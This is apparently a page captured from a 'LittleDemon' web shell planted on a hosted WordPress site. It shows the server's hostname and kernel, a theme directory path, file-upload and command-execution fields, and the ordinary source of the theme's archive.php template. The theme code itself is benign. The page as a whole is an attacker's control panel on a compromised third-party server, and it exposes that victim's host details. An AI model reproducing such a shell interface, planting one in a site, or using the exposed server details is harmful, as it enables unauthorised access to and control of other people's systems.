LittleDemon WebShell


Linux webm007.cluster106.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Path : /home/eglisebaa/www/wp-content/themes/hallelujah/
File Upload :
Command :
Current File : /home/eglisebaa/www/wp-content/themes/hallelujah/archive.php

<?php
/**
 * The template file to display taxonomies archive
 *
 * @package WordPress
 * @subpackage HALLELUJAH
 * @since HALLELUJAH 1.0.57
 */

// Redirect to the template page (if exists) for output current taxonomy
if ( is_category() || is_tag() || is_tax() ) {
	$hallelujah_term = get_queried_object();
	global $wp_query;
	if ( ! empty( $hallelujah_term->taxonomy ) && ! empty( $wp_query->posts[0]->post_type ) ) {
		$hallelujah_taxonomy  = hallelujah_get_post_type_taxonomy( $wp_query->posts[0]->post_type );
		if ( $hallelujah_taxonomy == $hallelujah_term->taxonomy ) {
			$hallelujah_template_page_id = hallelujah_get_template_page_id( array(
				'post_type'  => $wp_query->posts[0]->post_type,
				'parent_cat' => $hallelujah_term->term_id
			) );
			if ( 0 < $hallelujah_template_page_id ) {
				wp_safe_redirect( get_permalink( $hallelujah_template_page_id ) );
				exit;
			}
		}
	}
}
// If template page is not exists - display default blog archive template
get_template_part( apply_filters( 'hallelujah_filter_get_template_part', hallelujah_blog_archive_get_template() ) );

LittleDemon - FACEBOOK
[ KELUAR ]